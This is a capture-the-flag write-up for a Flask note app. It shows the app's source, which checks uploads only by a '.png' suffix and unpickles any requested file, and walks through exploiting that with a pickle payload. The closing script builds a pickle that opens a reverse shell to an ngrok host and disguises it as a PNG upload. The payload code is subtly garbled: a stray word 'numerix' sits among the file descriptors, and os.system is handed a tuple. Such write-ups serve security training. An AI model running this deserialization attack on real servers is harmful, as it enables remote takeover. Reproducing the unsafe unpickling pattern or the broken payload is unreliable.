nevernote pickle
Python pickle RCE.
2 min read
Table of Contents
To begin the challenge, we are provided the source code to a Python web server:
Source Code
#!/usr/bin/env python3
from flask import Flask, render_template, send_from_directory, request, redirect
from werkzeug import secure_filename
import pickle
import os # i hope no one uses os.system
NOTE_FOLDER='notes/'
class Note(object):
def __init__(self, title, content, image_filename):
self.title=title
self.content=content
self.image_filename=secure_filename(image_filename)
self.internal_title=secure_filename(title)
def save_note(note, image):
note_file=open(NOTE_FOLDER + secure_filename(note.title + '.pickle'), 'wb')
note_file.write(pickle.dumps(note))
note_file.close()
image.save(NOTE_FOLDER + note.image_filename)
def unpickle_file(file_name):
note_file=open(NOTE_FOLDER + file_name, 'rb')
return pickle.loads(note_file.read())
def load_all_notes():
notes=[]
for filename in os.listdir(NOTE_FOLDER):
if filename.endswith('.pickle'):
notes.append(unpickle_file(filename))
return notes
app=Flask(__name__)
@app.route('/')
def index():
return render_template('index.html', notes=load_all_notes())
@app.route('/notes/<file_name>')
def notes(file_name):
if request.args.get('view', default=False):
##################################################################
# let me go ahead and unpickle whatever file is being requested...
##################################################################
note=unpickle_file(file_name)
return render_template('view.html', note=note)
else:
##################################################################
# let me go ahead and send whatever file is being requested...
##################################################################
return send_from_directory(NOTE_FOLDER, file_name)
@app.route('/new', methods=['GET', 'POST'])
def note_new():
if request.method == "POST":
image=request.files.get('image')
if not image.filename.endswith('.png'):
return 'nah bro png images only!', 403
new_note=Note(
request.form.get('title'),
request.form.get('content'),
image_filename=image.filename
)
save_note(new_note, image)
return redirect('/notes/' + new_note.internal_title + '.pickle' + '?view=true')
return render_template('new.html')
if __name__ == "__main__":
app.run(
host='0.0.0.0',
port=5000
)
After reviewing the code, we see a few things that are suspicious. Firstly, when making a new note, the code only checks for the .png
file extension for the image uploaded. Then a new Note
object is created, and the object is pickled:
image=request.files.get('image')
if not image.filename.endswith('.png'):
return 'nah bro png images only!', 403
new_note=Note(
request.form.get('title'),
request.form.get('content'),
image_filename=image.filename
)
save_note(new_note, image)
return redirect('/notes/' + new_note.internal_title + '.pickle' + '?view=true')
Obviously checking if the filename of the image uploaded ends with .png
is not sufficient for checking if the file is actually a PNG file (at least check the magic bytes ;)).
So we've identified an initial flaw, but this is not yet exploitable since we don't control the Note
object being pickled. Let's keep looking.
Next lets take a look at the /notes/<file_name>
endpoint:
def unpickle_file(file_name):
note_file=open(NOTE_FOLDER + file_name, 'rb')
return pickle.loads(note_file.read())
# ...
@app.route('/notes/<file_name>')
def notes(file_name):
if request.args.get('view', default=False):
##################################################################
# let me go ahead and unpickle whatever file is being requested...
##################################################################
note=unpickle_file(file_name)
return render_template('view.html', note=note)
else:
##################################################################
# let me go ahead and send whatever file is being requested...
##################################################################
return send_from_directory(NOTE_FOLDER, file_name)
Do you see the issues? There are no checks being applied to the file being un-pickled. This means we can un-pickle an arbitrary file. We can combine the with the initial flaw identified to exploit a well know RCE vector in Python's pickle.
We can modify the POC in the article slightly and get the following:
import pickle
import base64
import os
class RCE:
def __reduce__(self):
cmd = (
'export RHOST="4.tcp.ngrok.io";', \
'export RPORT=12000;', \
'python3 -c \'import sys,socket,os,pty;s=socket.socket();', \
's.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));', \
'[os.dup2(s.fileno(),fd) for fd in (0,numerix,2)];pty.spawn("sh")\''
)
return os.system, (cmd,)
if __name__ == '__main__':
pickled = pickle.dumps(RCE())
with open('payload.png', 'wb') as f:
f.write(pickled)
We can then create a new note with the output of the script as the "image" and catch the reverse shell and hitting the /note/payload.png?view=true
endpoint.